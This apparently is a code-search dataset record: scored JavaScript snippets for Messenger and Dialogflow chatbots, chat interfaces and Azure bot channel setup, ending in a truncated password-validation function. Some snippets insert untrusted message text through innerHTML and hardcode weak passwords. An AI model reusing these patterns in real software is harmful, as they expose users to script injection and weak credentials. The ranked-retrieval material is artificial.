\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\trequest({\n\t\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t\t method: 'POST',\n\t\t\t\t json: {\n\t\t\t\t recipient: {id: sender},\n\t\t\t\t message: {text: aitext}\n\t\t\t\t }\n\t\t\t\t }, (error, response) => {\n\t\t\t\t if (error) {\n\t\t\t\t console.log('Error sending message: ', error);\n\t\t\t\t } else if (response.body.error) {\n\t\t\t\t console.log('Error: ', response.body.error);\n\t\t\t\t }\n\t\t\t\t });\n\t\t\t\t}\n\n\t\t\t\n\n\t\t}\n\t\telse{\n\t\t\tif(response.result.parameters['geo-city'] !== undefined && response.result.parameters['geo-city'] !== ''){\n\t\t\t\tcurrentLocation = response.result.parameters['geo-city'];\n\t\t\t\trequest({\n\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t method: 'POST',\n\t\t\t json: {\n\t\t\t recipient: {id: sender},\n\t\t\t message: {text: 'One moment please...'}\n\t\t\t }\n\t\t\t }, (error, response) => {\n\t\t\t if (error) {\n\t\t\t console.log('Error sending message: ', error);\n\t\t\t } else if (response.body.error) {\n\t\t\t console.log('Error: ', response.body.error);\n\t\t\t }\n\t\t\t });\n\t\t\t for (var variable in data){\n\t\t\t \tgDistance.get(\n\t\t\t\t\t {\n\t\t\t\t\t origin: currentLocation,\n\t\t\t\t\t destination: variable\n\t\t\t\t\t },\n\t\t\t\t\t function(err, resp) {\n\t\t\t\t\t if (err) return console.log('err');\n\t\t\t\t\t else{\n\t\t\t\t\t \tdistanceArr[resp.destination.split(',')[0]] = resp.distanceValue/1000;\n\t\t\t\t\t }\n\t\t\t\t\t});\n\n\t\t\t\t\t\n\n\t\t\t }\n\t\t\t sleep(5000).then(() => {\n\t\t\t\t console.log(distanceArr);\n\t\t\t\t for (var i in distanceArr){\n\t\t\t\t\tif(distance > distanceArr[i]){\n\t\t\t\t\t\tdistance = distanceArr[i];\n\t\t\t\t\t\tshortestCity = i;\n\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tvar lshort=data[shortestCity];\n\t\t\t\t//for existing dev cities\n\t\t\t\tif (distance === 0) {\n\t\t\t\t\tvar zeroCity = 'A developer circle already exists in your city. Here is the page link:'+ lshort['link'];\n\t\t\t\t\trequest({\n\t\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t\t method: 'POST',\n\t\t\t\t json: {\n\t\t\t\t recipient: {id: sender},\n\t\t\t\t message: {text: zeroCity}\n\t\t\t\t }\n\t\t\t\t }, (error, response) => {\n\t\t\t\t if (error) {\n\t\t\t\t \tconsole.log('Error sending message: ', error);\n\t\t\t\t } else if (response.body.error) {\n\t\t\t\t console.log('Error: ', response.body.error);\n\t\t\t\t }\n\t\t\t\t });\n\t\t\t\t}\n\t\t\t\t//for non-existing dev cities\n\t\t\t\telse{\n\t\t\t\t\tvar city = \"The nearest Dev Circle is \"+shortestCity+'. Here is the page link:'+ lshort['link'] + '. If you want to apply to start a circle, visit here: https://developers.facebook.com/developercircles/lead/apply/';\n\t\t\t\t\trequest({\n\t\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t\t method: 'POST',\n\t\t\t\t json: {\n\t\t\t\t recipient: {id: sender},\n\t\t\t\t message: {text: city}\n\t\t\t\t }\n\t\t\t\t }, (error, response) => {\n\t\t\t\t if (error) {\n\t\t\t\t console.log('Error sending message: ', error);\n\t\t\t\t } else if (response.body.error) {\n\t\t\t\t console.log('Error: ', response.body.error);\n\t\t\t\t }\n\t\t\t\t });\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\n\n\t\t\t}\n\t\t\telse if(response.result.parameters['geo-country'] !== undefined && (response.result.parameters['geo-city'] === undefined || response.result.parameters['geo-city']==='')){\n\t\t\t\t\n\t\t\t\trequest({\n\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t method: 'POST',\n\t\t\t json: {\n\t\t\t recipient: {id: sender},\n\t\t\t message: {text: 'Please enter the city you live in...'}\n\t\t\t }\n\t\t\t }, (error, response) => {\n\t\t\t if (error) {\n\t\t\t console.log('Error sending message: ', error);\n\t\t\t } else if (response.body.error) {\n\t\t\t console.log('Error: ', response.body.error);\n\t\t\t }\n\t\t\t });\n\t\t\t}\n\t\t\t\n\t\t\telse{\n\t\t\t\trequest({\n\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t method: 'POST',\n\t\t\t json: {\n\t\t\t recipient: {id: sender},\n\t\t\t message: {text: aitext}\n\t\t\t }\n\t\t\t }, (error, response) => {\n\t\t\t if (error) {\n\t\t\t console.log('Error sending message: ', error);\n\t\t\t } else if (response.body.error) {\n\t\t\t console.log('Error: ', response.body.error);\n\t\t\t }\n\t\t\t });\n\t\t\t}\n\t\t}\n\t\t\n\n\t});\n\n\tapiai.on('error',(error)=>{\n\t\tconsole.log(error);\n\t});\n\tapiai.end();\n}", "title": "" }, { "docid": "830dcfe96f6a81022faf20470515a6ed", "score": "0.44834903", "text": "message(userId) {\n this.app.getRootNav().push(__WEBPACK_IMPORTED_MODULE_4__message_message__[\"a\" /* MessagePage */], { userId: userId });\n }", "title": "" }, { "docid": "bd2763965f2e20bb7712afae89ead849", "score": "0.44811654", "text": "sendMessage() {\n this.currentRecipient.messages.push(\n { \n date: this.getCurrentTime(),\n text: this.msgBar,\n status: 'sent'\n }\n );\n \n // Clean the message bar\n this.msgBar = '';\n \n // Trigger bot's response\n this.receiveMessage();\n }", "title": "" }, { "docid": "00c74c1ba8f11efd070fefe9e3985227", "score": "0.44690618", "text": "pushUserMessage(index) {\n const userMessageItem = {\n date : dayjs().format(\"DD/MM/YYYY HH:mm:ss\"),\n text : this.userMessage,\n status : 'sent',\n dropdown: false\n }\n\n if( this.userMessage.length != '') {\n this.contacts[index].messages.push(userMessageItem);\n this.userMessage = '';\n this.pushBotMessage(index);\n }\n\n \n }", "title": "" }, { "docid": "1e949ab8155f3f4b18861e38771f7661", "score": "0.44680247", "text": "async sendMessage(text, conversationId) {\n return this.addOutgoingEvent(true, 'message', { text, channel: conversationId });\n }", "title": "" }, { "docid": "c539755b27623d075471b62336311685", "score": "0.44648337", "text": "post(req, res) {\n const { body } = req;\n\n // Checks this is an event from a page subscription\n if (body.object === 'page') {\n // Iterates over each entry - there may be multiple if batched\n body.entry.forEach((entry) => {\n // Gets the message. entry.messaging is an array, but\n // will only ever contain one message, so we get index 0\n const webhookEvent = entry.messaging[0];\n\n // only answer if the message is not null\n if (webhookEvent.message !== undefined) {\n const receivedMessage = webhookEvent.message.text;\n const senderId = webhookEvent.sender.id;\n\n // call get api to get the language of the sender\n request.get(`https://graph.facebook.com/${senderId}?fields=locale&access_token=${process.env.MESSENGER_PAGE_ACCESS_TOKEN}`,\n (error, response) => {\n const languageCode = JSON.parse(response.body).locale;\n\n // post mark seen\n request.post(`https://graph.facebook.com/v4.0/me/messages?access_token=${process.env.MESSENGER_PAGE_ACCESS_TOKEN}`)\n .form({\n recipient: {\n id: senderId,\n },\n sender_action: 'mark_seen',\n });\n\n // post typing\n request.post(`https://graph.facebook.com/v4.0/me/messages?access_token=${process.env.MESSENGER_PAGE_ACCESS_TOKEN}`)\n .form({\n recipient: {\n id: senderId,\n },\n sender_action: 'typing_on',\n });\n\n // create connection to Dialogflow project\n const dialogFlowConnection = new DialogFlowConnection('visit-gent-qghbjt');\n dialogFlowConnection\n .sendTextMessageToDialogFlow(receivedMessage, senderId, languageCode)\n .then((sendMessages) => {\n let quickReply;\n let isCard = false;\n\n // array for multiple text messages\n const responses = [];\n\n // JSON text and quick replies\n let responseJSON = {\n messaging_type: 'RESPONSE',\n recipient: {\n id: senderId,\n },\n message: {\n quick_replies: [],\n text: '',\n },\n };\n\n // JSON card response\n const responseJSONCard = {\n messaging_type: 'RESPONSE',\n recipient: {\n id: senderId,\n },\n message: {\n attachment: {\n type: 'template',\n payload: {\n template_type: 'generic',\n elements: [\n ],\n },\n },\n },\n };\n\n // iterate over messages\n sendMessages.forEach((sendMessage) => {\n if (sendMessage.message === 'quickReplies') {\n // Quick Reply\n /* For each object in the array quickReplies\n push a quickreply to the response JSON */\n sendMessage.quickReplies.quickReplies.forEach((reply) => {\n quickReply = {\n content_type: 'text',\n title: reply,\n payload: '<POSTBACK_PAYLOAD>',\n };\n responseJSON.message.quick_replies.push(quickReply);\n });\n } else if (sendMessage.message === 'text') {\n // Text\n const text = sendMessage.text.text[0];\n responseJSON.message.text = text;\n responses.push(JSON.stringify(responseJSON));\n } else if (sendMessage.message === 'card') {\n // Card\n isCard = true;\n\n responseJSON = {\n title: sendMessage.card.title,\n image_url: sendMessage.card.imageUri,\n subtitle: sendMessage.card.subtitle,\n default_action: {\n type: 'web_url',\n url: sendMessage.card.buttons[0].postback,\n webview_height_ratio: 'tall',\n },\n buttons: [\n {\n type: 'web_url',\n url: sendMessage.card.buttons[0].postback,\n title: i18n.__('View Website'),\n },\n ],\n };\n\n responseJSONCard.message.attachment.payload.elements.push(responseJSON);\n }\n });\n\n // post text and quickReplies to messenger\n // iterates over the different messages and post them to messenger\n responses.forEach((textResponse) => {\n request.post(`https://graph.facebook.com/v4.0/me/messages?access_token=${process.env.MESSENGER_PAGE_ACCESS_TOKEN}`)\n .form(JSON.parse(textResponse));\n });\n\n // post cards to messenger\n // checks if there are any cards\n if (isCard) {\n request.post(`https://graph.facebook.com/v4.0/me/messages?access_token=${process.env.MESSENGER_PAGE_ACCESS_TOKEN}`)\n .form(responseJSONCard);\n }\n });\n });\n }\n });\n // Returns a '200 OK' response to all requests\n res.status(200).send('EVENT_RECEIVED');\n } else {\n // Returns a '404 Not Found' if event is not from a page subscription\n res.sendStatus(404);\n }\n }", "title": "" }, { "docid": "3090812cb3512c6ffb2c484e26dd176c", "score": "0.4463595", "text": "function createMessage(data, inbound) {\n const messageContainer = document.createElement(\"div\");\n messageContainer.classList.add(\"message\");\n const span = document.createElement(\"span\");\n span.classList.add(\"time\");\n span.append(data.timestamp);\n const text = document.createElement(\"p\");\n text.classList.add(\"text\");\n text.innerHTML = data.msg;\n const username = document.createElement(\"p\");\n username.classList.add(\"user\");\n username.innerHTML = data.user + \": \";\n\n messageContainer.append(span);\n messageContainer.append(username);\n messageContainer.append(text);\n\n // add messages to screen depending whether the user sends or gets\n if (inbound) {\n document.getElementById(\"messages\").append(messageContainer);\n } else {\n document.getElementById(\"messages\").prepend(messageContainer);\n }\n }", "title": "" }, { "docid": "704f96432690e5808e4bb0e6488f607d", "score": "0.44532758", "text": "function MailNotificationConversation(aAccount) {\n this._init(aAccount, \"New emails\");\n}", "title": "" }, { "docid": "1f6cabc401c39cc9f8eba26d37208cd9", "score": "0.44405589", "text": "function sendMessage(event) {\n var sender = event.sender.id;\n var text = event.message.text;\n\n var apiai = apiaiApp.textRequest(text, {\n sessionId: 'Niimble'\n });\n\n apiai.on('response', (response) => {\n console.log(response)\n var aiText = response.result.fulfillment.speech;\n\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token: PAGE_ACCESS_TOKEN},\n method: 'POST',\n json: {\n recipient: {id: sender},\n message: {text: aiText}\n }\n }, (error, response) => {\n if (error) {\n console.log('Error sending message: ', error);\n } else if (response.body.error) {\n console.log('Error: ', response.body.error);\n }\n });\n });\n\n apiai.on('error', (error) => {\n console.log(error);\n });\n\n apiai.end();\n}", "title": "" }, { "docid": "7117a270d401284b006e15ff1a597c28", "score": "0.4429462", "text": "function newMessage(str) {\n let name = document.createElement('li');\n name.textContent = str.from +' this is the new messages '+ str.message;\n let parent = document.querySelector('#incoming-messages')\n}", "title": "" }, { "docid": "1367bc4677a97b467557d1943c5b498f", "score": "0.44288003", "text": "async function sendMessage(chatId, message) {\n //Criar ou recuperar a user session\n const sessionPath = sessionClient.sessionPath(configs.project_id, chatId);\n\n //Request para o dialogflow\n const request = {\n session: sessionPath,\n queryInput: {\n text: {\n message: message,\n languageCode: 'pt-Br'\n }\n\n } \n };\n\n //Definir o evento\n const eventQueryInput = { event: { name: 'start', languageCode: 'pt-BR' } }\n\n //Verificar se a mensagem enviada foi um start caso seja \n //monta um evento chamando a action 'start'\n //Lembrem-se que essa action precisa estar cadastrada no dialogflow para conseguirmos chamá-la\n request.queryInput = message === '/start' ? eventQueryInput : textQueryInput;\n\n //Respostas da requisição (dialogflow)\n const responses = await sessionClient.detectIntent(request);\n\n //Resultado do dialogflow\n const result = responses[0].queryResult;\n\n //Retornar objeto index.js\n return { \n text: result.fulfillmentText, \n intent: result.intent.displayName, \n fields: result.parameters.fields \n };\n}", "title": "" }, { "docid": "97b84cc342bff24520d2f5746907ff8f", "score": "0.44282144", "text": "pushBotMessage(index) {\n setTimeout( () => {\n const botMessage = {\n date : dayjs().format(\"DD/MM/YYYY HH:mm:ss\"),\n text : 'Hola',\n status : 'received',\n dropdown: false\n }\n\n this.contacts[index].messages.push(botMessage);\n }, 1000 ); \n }", "title": "" }, { "docid": "96de84aeaadb1749d58fefdbc8d9132c", "score": "0.442768", "text": "function pushMessage() {\n const index = data.findIndex((d) => d.contact.id === contactSelected.id);\n const newData = Object.assign([], data, {\n [index]: {\n contact: contactSelected,\n messages: [\n ...data[index].messages,\n new Message(true, message, new Date()),\n ],\n },\n });\n setData(newData);\n setMessage(\"\");\n }", "title": "" }, { "docid": "46ffe5916bbcd50b46448f29ecb744be", "score": "0.44276458", "text": "async function createDirectLineSpeechChannel() {\n const subscriptionId = process.env[\"BOTSERVICE_SUBSCRIPTION_ID\"] || \"subscription-id\";\n const resourceGroupName = process.env[\"BOTSERVICE_RESOURCE_GROUP\"] || \"OneResourceGroupName\";\n const resourceName = \"samplebotname\";\n const channelName = \"DirectLineSpeechChannel\";\n const parameters = {\n location: \"global\",\n properties: {\n channelName: \"DirectLineSpeechChannel\",\n properties: {\n cognitiveServiceRegion: \"XcognitiveServiceRegionX\",\n cognitiveServiceSubscriptionKey: \"XcognitiveServiceSubscriptionKeyX\",\n isEnabled: true,\n },\n },\n };\n const credential = new DefaultAzureCredential();\n const client = new AzureBotService(credential, subscriptionId);\n const result = await client.channels.create(\n resourceGroupName,\n resourceName,\n channelName,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "e272162c2d152847a580df4327df47de", "score": "0.4426457", "text": "function sendFirstMenu(recipientId){\n var messageData = {\n recipient: {\n id: recipientId\n },\n \n message:{\n attachment: {\n type: \"template\",\n payload: {\n template_type: \"generic\",\n image_aspect_ratio: \"square\",\n elements: [\n {\n title: \"Bot de Cauanne\",\n image_url: \"https://bot-framework.azureedge.net/bot-icons-v1/bot-framework-default-7.png\",\n subtitle: \"Vou lhe apresentar as minhas coisas favoritas, veja as opções abaixo:\",\n buttons: [\n {\n type: \"web_url\",\n url: \"https://www.linkedin.com/in/cauanne-linhares-06909a109/\",\n title: \"A Desenvolvedora\"\n }, {\n type: \"postback\",\n title: \"Categorias do Bot\",\n payload: \"acionou_categorias\"\n }]\n }]\n }\n }\n }\n };\n \n callSendAPI(messageData);\n}", "title": "" }, { "docid": "37826465d975f8e655db2dfc2d11c1cd", "score": "0.4424942", "text": "async function createUserWithMessage() {\n await models.User.create(\n {\n username: 'andyliwr',\n email: '[email protected]',\n password: '12345678',\n role: 'admin',\n messages: [\n {\n text: 'Hello, GraphQL!',\n createdAt: new Date()\n }\n ]\n },\n {\n include: [models.Message]\n }\n )\n await models.User.create(\n {\n username: 'andyliwr2',\n email: '[email protected]',\n password: '12345678',\n role: 'user',\n messages: [\n {\n text: 'I love you!',\n createdAt: new Date()\n }\n ]\n },\n {\n include: [models.Message]\n }\n )\n}", "title": "" }, { "docid": "7d667993a476c94c7fa35e7846fec198", "score": "0.4421264", "text": "function createNewChat(Topic) {\n let data\n if (localStorage.getItem('DialogList') == null) {\n localStorage.setItem('DialogList', '[]')\n data = []\n } else {\n data = JSON.parse(localStorage.getItem('DialogList'))\n }\n const chatId = data.length\n data.push({ chat_id: chatId, topic: Topic, lastmessage: '' })\n localStorage.setItem('DialogList', JSON.stringify(data))\n let mdata\n if (localStorage.getItem('messages') == null) {\n localStorage.setItem('messages', '{}')\n mdata = {}\n } else {\n mdata = JSON.parse(localStorage.getItem('messages'))\n }\n mdata[chatId] = []\n localStorage.setItem('messages', JSON.stringify(mdata))\n return data[data.length - 1]\n}", "title": "" }, { "docid": "6a1dcece75a77de8b16831a5c9dc720d", "score": "0.44170058", "text": "static postMessage (req,res){\n\n const { message, subject, receiverEmail, status } = req.body;\n\n if(!validate.emailValidation(receiverEmail)){\n return res.send({\n status: 400,\n message: 'Please enter a valid Email'\n });\n }\n\n if(!validate.subjectValidation(subject)) {\n return res.send({\n status: 400,\n message: 'Please enter the subject'\n });\n }\n\n if(!validate.messageValidation(message)) {\n return res.send({\n status: 400,\n message: 'Please enter your message'\n });\n }\n\n const newPost = new Messages ({\n id: uuid.v4(),\n createdOn: new Date().toDateString(),\n subject: subject.trim(),\n message: message.trim(),\n status: \"sent\",\n parentMessageId: uuid.v4(),\n senderId: uuid.v4(),\n receiverId: uuid.v4(),\n receiverEmail\n });\n\n db.addMessage(newPost);\n\n // epicMessages.push(newPost);\n return res.send({\n status: 201,\n data: newPost\n });\n }", "title": "" }, { "docid": "7ce49501ac9bf9f46612b9b79a56e64b", "score": "0.44062746", "text": "receiveMessage() {\n setTimeout(function () {\n app.currentRecipient.messages.push(\n {\n date: app.getCurrentTime(),\n text: 'Ok',\n status: 'received'\n }\n );\n }, 1000);\n }", "title": "" }, { "docid": "46284e7536ee278c11a3f99a8592c460", "score": "0.4396252", "text": "function callSendAPI(messageData,senderId){if(BUSINESS.hasOwnProperty(senderId)){return(0,_requestPromise2.default)({uri:FACEBOOK_GRAPH+'me/messages',qs:{access_token:BUSINESS[senderId].PAGE_ACCESS_TOKEN},method:'POST',json:messageData}).catch(function(error){console.log('error');console.log(error);});}else{console.log('Error: senderId not found: '+senderId);console.log(messageData);}}", "title": "" }, { "docid": "547d5a30b2c7f5a66352099a0e6a3937", "score": "0.4380232", "text": "function newMessage(message){\n\tlet newLI = document.createElement(\"li\");\n\tlet text = document.createTextNode(message);\n\tnewLI.appendChild(text);\n chatBlock.appendChild(newLI);\n chatBlock.scrollTop = chatBlock.scrollHeight;\n}", "title": "" }, { "docid": "dcccc9920ac5daa9916bb4fb56e39bfb", "score": "0.43736994", "text": "function startWizards(wizard, sender, text) {\n console.log(\"startWizards\");\n //let messageData = { text: sender + \"writes: \" + text}\n let messageData = {\n \"attachment\": {\n \"type\": \"template\",\n \"payload\": {\n \"template_type\": \"button\",\n \"text\": text,\n \"buttons\": [{\n \"type\": \"postback\",\n \"title\": \"Claim\",\n \"payload\": sender\n }]\n }\n }\n }\n\n //let messageData = { text: sender + \" writes: \" + text}\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token:token},\n method: 'POST',\n json: {\n recipient: {id:wizard},\n message: messageData,\n }\n }, function(error, response, body) {\n if (error) {\n console.log('Error sending messages: ', error)\n } else if (response.body.error) {\n console.log('Error: ', response.body.error)\n }\n })\n}", "title": "" }, { "docid": "e6b48fdd99e3526a2916825dfe6d76f0", "score": "0.43732062", "text": "async function createChannel() {\n const subscriptionId = process.env[\"BOTSERVICE_SUBSCRIPTION_ID\"] || \"subscription-id\";\n const resourceGroupName = process.env[\"BOTSERVICE_RESOURCE_GROUP\"] || \"OneResourceGroupName\";\n const resourceName = \"samplebotname\";\n const channelName = \"EmailChannel\";\n const parameters = {\n location: \"global\",\n properties: {\n channelName: \"EmailChannel\",\n properties: { emailAddress: \"[email protected]\", isEnabled: true, password: \"pwd\" },\n },\n };\n const credential = new DefaultAzureCredential();\n const client = new AzureBotService(credential, subscriptionId);\n const result = await client.channels.create(\n resourceGroupName,\n resourceName,\n channelName,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "db8bc856845d456700bf82877e095336", "score": "0.4368152", "text": "function onOpenMailCreationWindow()\n\t {\n\t\tlet recipient = PartyFriends.ui.find('.content .selection').text();\n\n\t\t// redirect tela\n\t\tMail.replyNewMailFriends(recipient);\n\t }", "title": "" }, { "docid": "ca9976bcd8ad6eb30ea88df12e933ac0", "score": "0.4367005", "text": "static createTenant() {\n return HttpClient.post(`${TENANT_MANAGER_ENDPOINT}tenant`);\n }", "title": "" }, { "docid": "8f19d153543160784b07c6ac73de4255", "score": "0.43582675", "text": "function createMessage(id, c_id, data) {\n return $.ajax({\n method: 'post',\n url: \"/users/\" + id + \"/challenges/\" + c_id + \"/messages\",\n data: data\n });\n }", "title": "" }, { "docid": "6e3f42da755252b604bfc0e7faa090f6", "score": "0.43422115", "text": "message(userId) {\n this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_3__message_message__[\"a\" /* MessagePage */], { userId: userId });\n }", "title": "" }, { "docid": "768d29c60e6ba106f5691cf69a303cbf", "score": "0.43420357", "text": "startChat(user) {\n this.firestoreService\n .colWithIds$('messages', (ref) => ref.where('participantsId', 'array-contains', user.uid))\n .subscribe((data) => {\n const message = data[0];\n if (!message) {\n this.createMessage(user);\n }\n else {\n this.goto(`${this.routes.messages}/${message.id}`);\n }\n });\n }", "title": "" }, { "docid": "8c52aea2d8a8a8c355f492aae85995d4", "score": "0.43315995", "text": "function sendMessage() {\r\n var newChat = $(\"#chat-message\").val();\r\n object.create(Message) = new Message(newChat);\r\n createMessageElement();\r\n $.append('#messages');\r\n}", "title": "" }, { "docid": "c73c488d800cb97065c4e97c73c03dc3", "score": "0.43309686", "text": "function sendMessageToActiveContact(message) {\n if (message !== '') {\n $('#typing-area').val('');\n var messageLine = '<li><b>Me</b> : ' + message + '</li>';\n $('#message-list').append(messageLine);\n activeChats[activeContact.getId()].push(messageLine); //save message\n\n //Actually send message to active contact\n activeContact.sendMessage(message)\n .then(function() {\n //Message successfully sent!\n })\n .catch(function(err) {\n //An error occured...\n $('#message-list').append('<li><i>* Could not send message to contact : \"' + message + '\", ' + err.error.message + ' *</i></li>');\n });\n }\n }", "title": "" }, { "docid": "b337ccbe4cc7b643ce91b0281a9477ac", "score": "0.43307477", "text": "function createSysConversation(userId, dorkId, fn) {\n // The 'id' key value is created by concatenating userId and dorkId\n var conversationId = 'sm:' + 'u:' + userId + ':d:' + dorkId;\n docClient.put({\n TableName: config.DDB_CONVERSATION_TABLE,\n Item: {\n conversationId: conversationId,\n msgCount: 0,\n users: [userId],\n dorks: [dorkId],\n history: [],\n type: 'System' // line of communication between an employer and employee\n }\n }, fn);\n}", "title": "" }, { "docid": "efcca6cc7e0134160b1a6053b2ab8867", "score": "0.432726", "text": "async function handleSend( messages) {\n const text = messages[0].text;\n db.collection('message')\n .add({\n text,\n createdAt: new Date().getTime(),\n user:{\n _id : firebase.auth().currentUser.uid,\n username : firebase.auth().currentUser.username\n }\n })\n setMessages(GiftedChat.append(messages, newMessage));\n }", "title": "" }, { "docid": "7ea9966d96e7762ed17b66e6c6a4b73d", "score": "0.43241283", "text": "static async pipeMessage (channelId, message, opts) {\n const { chatId } = opts\n\n return MessagesController.findOrCreateConversation(channelId, chatId)\n .then(conversation => MessagesController.parseChannelMessage(conversation, message, opts))\n .then(MessagesController.saveMessage)\n .then(WebhooksController.sendMessageToBot)\n }", "title": "" }, { "docid": "e380d159dd84457602e52b3daac8dd90", "score": "0.43162218", "text": "function message() {\n let tl = gsap.timeline();\n\n tl.to(confirmationMessage, {\n delay: 0.1,\n duration: 0.25,\n opacity: 1\n });\n\n return tl;\n}", "title": "" }, { "docid": "438361ded9f81539efab04fcfb413d00", "score": "0.43129584", "text": "addMessage() {\n const message = this.state.messages[0];\n this.referenceMessages.add({\n _id: message._id,\n text: message.text || \"\",\n createdAt: message.createdAt,\n user: message.user,\n image: message.image || \"\",\n location: message.location || null,\n sent: true,\n });\n }", "title": "" }, { "docid": "5e28938f12b92fcdd6187ffca006abfa", "score": "0.4312933", "text": "function enviar_texto(senderID, response){\n // Construcicon del cuerpo del mensaje\n let request_body = {\n \"recipient\": {\n \"id\": senderID\n },\n \"message\": response\n }\n \n // Enviar el requisito HTTP a la plataforma de messenger\n request({\n \"uri\": \"https://graph.facebook.com/v2.6/me/messages\",\n \"qs\": { \"access_token\": process.env.PAGE_ACCESS_TOKEN },\n \"method\": \"POST\",\n \"json\": request_body\n }, (err, res, body) => {\n if (!err) {\n console.log('Mensaje enviado!')\n } else {\n console.error(\"No se puedo enviar el mensaje:\" + err);\n }\n }); \n}", "title": "" }, { "docid": "5e28938f12b92fcdd6187ffca006abfa", "score": "0.4312933", "text": "function enviar_texto(senderID, response){\n // Construcicon del cuerpo del mensaje\n let request_body = {\n \"recipient\": {\n \"id\": senderID\n },\n \"message\": response\n }\n \n // Enviar el requisito HTTP a la plataforma de messenger\n request({\n \"uri\": \"https://graph.facebook.com/v2.6/me/messages\",\n \"qs\": { \"access_token\": process.env.PAGE_ACCESS_TOKEN },\n \"method\": \"POST\",\n \"json\": request_body\n }, (err, res, body) => {\n if (!err) {\n console.log('Mensaje enviado!')\n } else {\n console.error(\"No se puedo enviar el mensaje:\" + err);\n }\n }); \n}", "title": "" }, { "docid": "7c7735d1a5033d894cfb33313b9175f5", "score": "0.43114647", "text": "postToChat(text, owner) {\n this.messages.push({\n text: text,\n owner: owner,\n });\n }", "title": "" }, { "docid": "2a14a24dcb0b27680cb26ab76076ef8a", "score": "0.4310187", "text": "function enterChannel() {\n if(creator==undefined){creator=\"Unbekannt\"};\n console.log(JSON.stringify({ \"creator\": creator, \"content\": creator+\" joined the Channel\"}));\n sendPost(\"/channels/\"+currentChannel+\"/messages\",JSON.stringify({ \"creator\": creator, \"content\": creator+\" joined the Channel\" }));\n}", "title": "" }, { "docid": "6b4a93841c3d811042a26281c64abd36", "score": "0.4308463", "text": "function goToTelegramOpenPage() {\n window.location.href = 'find-investor-open-telegram.html';\n}", "title": "" }, { "docid": "7295afe1bfff533a02d53c3693af6707", "score": "0.4307639", "text": "newMessage({ params={}, callback=()=>{} }) {\n axios.post(`${host}/messages`, params, {\n withCredentials: true\n })\n .then((response) => {\n callback(null, response);\n })\n .catch((response) => {\n let error = response.data.errorMessage;\n console.log(`Error in Api.postMessages(): ${error}`);\n callback(new Error(error), response);\n });\n }", "title": "" }, { "docid": "2f19c33314b58ea8bcdf7ac33f45d6af", "score": "0.4305702", "text": "function createNewMessage(message) {\n\n\t// Hide the typing indicator\n\thideLoading();\n\n\t// take the message and say it back to the user.\n\t//speechResponse(message);\n\n\t// // Show the send button and the text area\n\t// $('#rec').css('visibility', 'visible');\n\t// $('textarea').css('visibility', 'visible');\n\n\t// Append a new div to the chatlogs body, with an image and the text from API.AI\n\t$chatlogs.append(\n\t\t$('<div/>', {'class': 'chat friend'}).append(\n\t\t\t$('<div/>', {'class': 'user-photo'}).append($('<img src=\"Images/ana.JPG\" />')), \n\t\t\t$('<p/>', {'class': 'chat-message', 'text': message})));\n\n\t// Find the last message in the chatlogs\n\tvar $newMessage = $(\".chatlogs .chat\").last();\n\n\t// Call the method to see if the message is visible\n\tcheckVisibility($newMessage);\n}", "title": "" } ]
3f8e4e2cb243d05daa01d757109d836c
Check if Passwords And User Names Are Valid. Min Length Of String. String cannot have white space.
[ { "docid": "64829d61ec8708d0a2ee04bff501e0f5", "score": "0.0", "text": "function validateInput(input, minLength){\n let pattern = new RegExp(`^[a-zA-Z0-9]{${minLength},}$`, \"g\");\n return input.match(pattern);\n}", "title": "" } ]
[ { "docid": "dc5c6b9cd35f987e33888f9c873fbec5", "score": "0.79156965", "text": "function checkValidUserNameAndPassword(username, password){\n if ((6 <= username.length) && (username.length <= 100) && (/^[A-Za-z0-9]+$/.test(username))){\n if ((password.length === 8) && (/^[A-Za-z0-9]+$/.test(password))){\n return true;\n }\n else {\n document.getElementById(STATUS).innerHTML =\n '<b>Invalid password</b><br>' + '<b>Should combined letters (lower/upper case) and numbers</b><br>';\n return false;\n }\n }\n else {\n document.getElementById(STATUS).innerHTML =\n '<b>Invalid user name</b><br>' + '<b>Should combined letters (lower/upper case) and numbers</b><br>';\n return false;\n }\n}", "title": "" }, { "docid": "b6e1c86d07daedf6f696b4a4c089c295", "score": "0.7608158", "text": "function validatePassword( str ) {\n // Regex patterns\n const regexCharDigit = /[0-9]/g;\n const regexCharSpecial = /\\W+/g;\n const regexCharUppercase = /[A-Z]/g;\n const regexCharLowercase = /[a-z]/g;\n // Test regex has patterns, true or false\n const hasCharDigit = regexCharDigit.test( str );\n const hasCharSpecial = regexCharSpecial.test( str );\n const hasCharUppercase = regexCharUppercase.test( str );\n const hasCharLowercase = regexCharLowercase.test( str );\n // Show regex patterns\n const showCharDigit = str.match( regexCharDigit );\n const showCharSpecial = str.match( regexCharSpecial );\n const showCharUppercase = str.match( regexCharUppercase );\n const showCharLowercase = str.match( regexCharLowercase );\n // Length criteria\n const passwordLength = str.length;\n // Length difference\n const passwordLengthGood = ( passwordLength - passwordLengthMax );\n const passwordLengthDiffShort = ( passwordLengthMin - passwordLength );\n const passwordLengthDiffLong = ( passwordLength - passwordLengthMax );\n // Password checks, set default values\n let passwordLengthIsGood = false;\n let passwordLengthIsShort = true;\n let 